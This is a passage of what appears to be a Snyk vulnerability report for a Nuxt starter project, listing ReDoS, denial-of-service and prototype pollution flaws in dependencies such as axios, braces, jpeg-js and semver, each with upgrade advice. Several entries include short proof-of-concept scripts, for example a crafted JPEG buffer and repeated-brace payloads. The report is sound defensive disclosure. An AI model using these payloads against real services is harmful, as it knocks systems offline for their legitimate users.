0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ansi-regex to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.16.2 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › axios@0.16.2
    Remediation: Upgrade to axios@0.21.3.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › axios@0.16.2
    Remediation: Upgrade to @nuxtjs/axios@5.12.3.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › braces@2.3.2
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › braces@2.3.2
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2

…and 9 more

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
}

Remediation

Upgrade braces to version 3.0.3 or higher.

References

Excessive Platform Resource Consumption within a Loop vulnerability report

high severity

Denial of Service (DoS)

  • Vulnerable module: jpeg-js
  • Introduced through: @nuxtjs/pwa@0.2.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/icon@3.0.0-beta.16 › jimp@0.6.8 › @jimp/types@0.6.8 › @jimp/jpeg@0.6.8 › jpeg-js@0.3.7

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) where a particular piece of input will cause to enter an infinite loop and never return.

PoC

  1. Create a npm workspace npm init
  2. Install the jpeg-js library
  3. Create a JS file with the following code:
const jpeg = require('jpeg-js');

let buf = Buffer.from( 'ffd8ffc1f151d800ff51d800ffdaffde', 'hex' );
jpeg.decode( buf );
  1. Run the file and observe that the code never stops running

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade jpeg-js to version 0.4.4 or higher.

References

Denial of Service (DoS) vulnerability report

high severity

Prototype Pollution

  • Vulnerable module: loader-utils
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › loader-utils@0.2.17
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

Affected versions of this package are vulnerable to Prototype Pollution in parseQuery function via the name variable in parseQuery.js. This pollutes the prototype of the object returned by parseQuery and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.

References

Prototype Pollution vulnerability report

high severity

Inefficient Regular Expression Complexity

  • Vulnerable module: micromatch
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10

…and 5 more

Overview

Affected versions of this package are vulnerable to Inefficient Regular Expression Complexity due to the use of unsafe pattern configurations that allow greedy matching through the micromatch.braces() function. An attacker can cause the application to hang or slow down by passing a malicious payload that triggers extensive backtracking in regular expression processing.

Remediation

Upgrade micromatch to version 4.0.8 or higher.

References

Inefficient Regular Expression Complexity vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › node-gyp@3.8.0 › semver@5.3.0
    Remediation: Upgrade to node-sass@5.0.0.

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ssri
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › ssri@5.3.0
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › ssri@5.3.0
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

Overview

ssri is a Standard Subresource Integrity library -- parses, serializes, generates, and verifies integrity metadata according to the SRI spec.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ssri processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ssri to version 6.0.2, 7.1.1, 8.0.1 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

high severity

Denial of Service (DoS)

  • Vulnerable module: trim-newlines
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › meow@3.7.0 › trim-newlines@1.0.0
    Remediation: Upgrade to node-sass@6.0.1.

Overview

trim-newlines is a Trim newlines from the start and/or end of a string

Affected versions of this package are vulnerable to Denial of Service (DoS) via the end() method.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade trim-newlines to version 3.0.1, 4.0.1 or higher.

References

Denial of Service (DoS) vulnerability report

high severity

Prototype Pollution

  • Vulnerable module: unset-value
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
